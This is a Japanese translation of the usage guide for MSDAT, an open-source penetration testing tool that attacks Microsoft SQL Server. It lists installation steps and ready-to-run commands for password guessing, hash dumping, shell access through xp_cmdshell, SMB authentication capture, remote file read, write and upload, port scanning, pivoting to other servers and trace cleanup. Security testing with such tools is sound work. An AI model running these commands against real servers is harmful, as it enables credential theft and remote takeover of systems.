
MSDAT: Microsoft SQL データベース攻撃ツール
| Quentin HARDY |
|---|
| [email protected] |
| [email protected] |
MSDAT (Microsoft SQL Database Attacking Tool) は、リモートで Microsoft SQL データベースのセキュリティをテストするオープンソースのペネトレーションテストツールです。
MSDAT の使用例:
Tested on Microsof SQL database 2005, 2008, 2012, 2014, 2016 および 2019。
MSDAT (Microsoft SQL Database Attacking Tool) を使用すると、以下のことが可能です(網羅的ではありません):
MSDAT を実行するには、いくつかの依存関係をインストールする必要があります。
Ubuntu の場合:
sudo apt-get install freetds-dev
または http://www.freetds.org/ から freetds をダウンロード
Python の依存関係をインストール:
sudo pip3 install -r requirements.txt
sudo activate-global-python-argcomplete
または
sudo pip3 install cython colorlog termcolor pymssql argparse python-libnmap
sudo pip3 install argcomplete && sudo activate-global-python-argcomplete
freetds 設定ファイル(例:/etc/freetds/freetds.conf または /usr/local/etc/freetds.conf)に "use ntlmv2 = yes" を追加してください。
例:
[global]
# TDS protocol version
tds version = 8.0
use ntlmv2 = yes
python3 msdat.py -h 2 ⨯
usage: msdat.py [-h] [--version]
{all,mssqlinfo,passwordguesser,passwordstealer,xpcmdshell,jobs,smbauthcapture,oleautomation,bulkopen,xpdirectory,trustworthype,userlikepwd,search,cleaner}
...
_ _ __ __ _ ___
| \_/ |/ _|| \ / \|_ _|
| \_/ |\_ \| o ) o || |
|_| |_||__/|__/|_n_||_|
------------------------------------------------------
_ _ __ __ _ ___
| \_/ |/ _| | \ / \ |_ _|
| \_/ |\_ \ | o ) o | | |
|_| |_||__/icrosoft |__/atabase |_n_|ttacking |_|ool
-------------------------------------------------------
By Quentin Hardy ([email protected])
positional arguments:
{all,mssqlinfo,passwordguesser,passwordstealer,xpcmdshell,jobs,smbauthcapture,oleautomation,bulkopen,xpdirectory,trustworthype,userlikepwd,search,cleaner}
Choose a main command
all to run all modules in order to know what it is possible to do
mssqlinfo to get information without authentication
passwordguesser to know valid credentials
passwordstealer to get hashed passowrds
xpcmdshell to get a shell
jobs to execute system commands
smbauthcapture to capture a SMB authentication
oleautomation to read/write file and execute system commands
bulkopen to read a file and scan ports
xpdirectory to list files/drives and to create directories
trustworthype to become sysadmin with the trustwothy database method
userlikepwd to try each MSSQL username stored in the DB like the corresponding pwd
search to search in column names
cleaner clean local traces
optional arguments:
-h, --help show this help message and exit
--version show program's version number and exit
./msdat.py -h
./msdat.py all -h
特定のモジュールが MSSQL サーバーで使用可能かどうかは、--test-module オプションで確認できます。このオプションは各 mdat モジュールに実装されています。
all モジュールは、すべてのモジュールを実行します(購入したオプションに依存します)。
python msdat.py all -s $SERVER
以下のような場合:
./msdat.py all -s $SERVER -p $PORT --accounts-file accounts.txt --login-timeout 10 --force-retry
各モジュールでは、--charset オプションで使用する文字セットを指定できます。
認証なしでリモート MSSQL サーバーの技術情報を取得するには:
./msdat.py mssqlinfo -s $SERVER -p $PORT --get-max-info
このモジュールは、情報を取得するために TDS プロトコル と SQL Browser Server を使用します。
このモジュールは有効な認証情報を検索します:
./msdat.py passwordguesser -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --force-retry --search
--force-retry オプションは、各ユーザーに対して複数のパスワードを確認なしでテストします。
--accounts-file オプションで独自のアカウントファイルを指定できます:
./msdat.py passwordguesser -s $SERVER -p $PORT --search --accounts-file accounts.txt --force-retry
ハッシュ化されたパスワードをダンプするには:
./msdat.py passwordstealer -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --dump --save-to-file test.txt
このモジュールは SQL Server 2000、2005、2008、2014 でテスト済みです。
xp_cmdshell を使用してシステムコマンドを実行するには(https://msdn.microsoft.com/en-us/library/ms190693.aspx):
./msdat.py xpcmdshell -s $SERVER -p $PORT -U $USER -P $PASSWORD --shell
上記のコマンドにより、リモートデータベースサーバー上で対話型シェルが利用可能になります。
xp_cmdshell が有効でない場合、このモジュールの --enable-xpcmdshell オプションで有効化できます:
./msdat.py xpcmdshell -s $SERVER -p $PORT -U $USER -P $PASSWORD --enable-xpcmdshell --disable-xpcmdshell --disable-xpcmdshell --shell
--enable-xpcmdshell オプションは、xp_cmdshell が有効でない場合に有効にします(デフォルトでは無効)。
--disable-xpcmdshell オプションは、有効な場合に xp_cmdshell を無効にします。
このモジュールを使用すると、SMB 認証をキャプチャできます:
./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --capture $MY_IP_ADDRESS --share-name SHARE
SMB 認証をキャプチャするには、metasploit の auxiliary/server/capture/smb モジュールが使用できます:
msf > use auxiliary/server/capture/smb
msf auxiliary(smb) > exploit
このモジュールの capture コマンドは、xp_dirtree、xp_fileexist、または xp-getfiledetails プロシージャを使用して SMB 認証をキャプチャしようとします。
認証をキャプチャする SMB 認証プロシージャを選択する場合:
./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD --xp-dirtree-capture 127.0.0.1
./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD --xp-fileexist-capture 127.0.0.1
./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD --xp-getfiledetails-capture 127.0.0.1
--share-name オプションで SHARE 名を変更できます。
このモジュールは、データベースサーバー上のファイルを読み書きするために使用できます。
次のコマンドは、データベースサーバーに保存されたファイル temp.txt を読み取ります:
./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --read-file 'C:\Users\Administrator\Desktop\temp.txt'
リモートでファイル (temp.txt) に文字列を書き込むには:
./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --write-file 'C:\Users\Administrator\Desktop\temp.txt' 'a\nb\nc\nd\ne\nf'
このモジュールは、データベースサーバーに保存されたファイル (C:\Users\Administrator\Desktop\temp.txt) をダウンロードするためにも使用できます:
./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --get-file 'C:\Users\Administrator\Desktop\temp.txt' temp.txt
また、このモジュールを使用して、ターゲットにファイル (temp.txt) をアップロードすることもできます:
./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --put-file temp.txt 'C:\Users\Administrator\Desktop\temp.txt
bulkopen モジュールは以下の目的で使用できます:
ターゲットに保存されたファイルを読み取るには、次のコマンドを使用します:
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --read-file 'C:\Users\Administrator\Desktop\temp.txt'"
--method オプションで使用するメソッドを指定できます:
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --read-file 'C:\Users\Administrator\Desktop\temp.txt' --method openrowset
ファイル (C:\Users\Administrator\Desktop\temp.txt) をダウンロードするには:
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --get-file 'C:\Users\Administrator\Desktop\temp.txt' temp.txt
このモジュールは、データベースサーバーを介してポートスキャン(127.0.0.1 の 1433 と 1434)を実行するためにも使用できます:
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --scan-ports 127.0.0.1 1433,1434 -v
ポートの範囲をスキャンすることもできます:
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --scan-ports 127.0.0.1 1433-1438
このモジュールは、データベース ($SERVER) を介してリモートデータベースサーバー (例:$SERVER2) 上で SQL リクエスト (例:select @@ServerName) を実行するためにも使用できます:
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --request-rdb $SERVER2 $PORT $DATABASE $USER $PASSWORD 'select @@ServerName'
xpdirectory モジュールは以下に使用できます:
特定のディレクトリ内のファイルを一覧表示するには:
./msdat.py xpdirectory -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --list-files 'C:\'
特定のディレクトリ内のサブディレクトリを一覧表示するには:
./msdat.py xpdirectory -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --list-dir 'C:\'
ドライブを一覧表示するには:
./msdat.py xpdirectory -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --list-fixed-drives --list-available-media
ファイルが存在するか確認するには:
./msdat.py xpdirectory -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --file-exists 'C:\' --file-exists 'file.txt'
ディレクトリを作成するには:
./msdat.py xpdirectory --s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --create-dir 'C:\temp'
search モジュールは、テーブルやビューのカラム名からパターンを検索するために使用できます。 例えば、カラム名からパターン %password% を検索する場合に便利です。
パスワードパターン(例:passwd、password、motdepasse、clave)を含むカラム名を取得するには:
./msdat.py search -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --pwd-column-names --show-empty-columns
データが含まれていないカラム名も表示したい場合は、--show-empty-columns オプションを使用してください。
ビューやテーブルのカラム名から特定のパターンを検索するには:
./msdat.py search -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --pwd-column-names --show-empty-columns
もし私の活動を支援していただけるなら、寄付をいただけると大変感謝いたします: